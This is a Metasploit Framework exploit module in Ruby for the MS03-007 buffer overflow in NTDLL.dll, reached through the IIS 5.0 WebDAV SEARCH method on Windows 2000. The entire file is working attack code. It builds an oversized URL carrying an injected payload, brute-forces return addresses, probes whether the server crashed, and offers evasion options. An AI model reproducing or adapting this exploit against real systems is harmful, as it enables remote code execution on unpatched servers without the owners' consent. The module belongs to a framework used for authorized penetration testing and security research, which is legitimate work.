##
# $Id: ms03_007_ntdll_webdav.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against any service pack.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2003-0109'],
[ 'OSVDB', '4467'],
[ 'BID', '7116'],
[ 'MSB', 'MS03-007']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Brute Force', { } ],
],
'DisclosureDate' => 'May 30 2003',
'DefaultTarget' => 0))
register_evasion_options(
[
OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),
# XXX - ugh, there has to be a better way to remove entries from an
# enum that overwriting the evalable enum option
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
], self.class
)
deregister_options('HTTP::junk_params', 'HTTP::header_folding')
end
def autofilter
# Common vulnerability scanning tools report port 445/139
# due to how they test for the vulnerability. Remap this
# back to 80 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
rport = 80
end
true
end
def check
url = 'x' * 65535
xml =
"\r\n\r\n" +
"\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n"
response = send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
if (response and response.body =~ /Server Error\(exception/)
return Exploit::CheckCode::Vulnerable
end
# Did the server stop acceping requests?
begin
send_request_raw({'uri' => '/'}, 5)
rescue
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# verify the service is running up front
send_request_raw({'uri' => '/'}, 5)
# The targets in the most likely order they will work
targets =
[
# Almost Targetted :)
"\x4f\x4e", # =SP3
"\x41\x42", # ~SP0 ~SP2
"\x41\x43", # ~SP1, ~SP2
# Generic Bruteforce
"\x41\xc1",
"\x41\xc3",
"\x41\xc9",
"\x41\xca",
"\x41\xcb",
"\x41\xcc",
"\x41\xcd",
"\x41\xce",
"\x41\xcf",
"\x41\xd0",
]
xml =
"\r\n\r\n" +
"\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n"
if datastore['invalid_search_request'] == true
xml = rand_text(rand(1024) + 32)
end
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
# This decodes to "inc ecx"
url = 'A' * 65516
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
targets.each { |ret|
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
url[ 283, 2 ] = ret
begin
send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
handler
rescue => e
print_error("Attempt failed: #{e}")
end
1.upto(8) { |i|
select(nil,nil,nil,0.25)
return if self.session_created?
}
if !service_running?
print_error('Giving up, IIS must have completely crashed')
return
end
}
end
# Try connecting to the server up to 20 times, with a two second gap
# This gives the server time to recover after a failed exploit attempt
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) {|i|
begin
send_request_raw({'uri' => '/'}, 5)
rescue
print_error("Connection failed (#{i} of 20)...")
select(nil,nil,nil,2)
next
end
return true
}
return false
end
end
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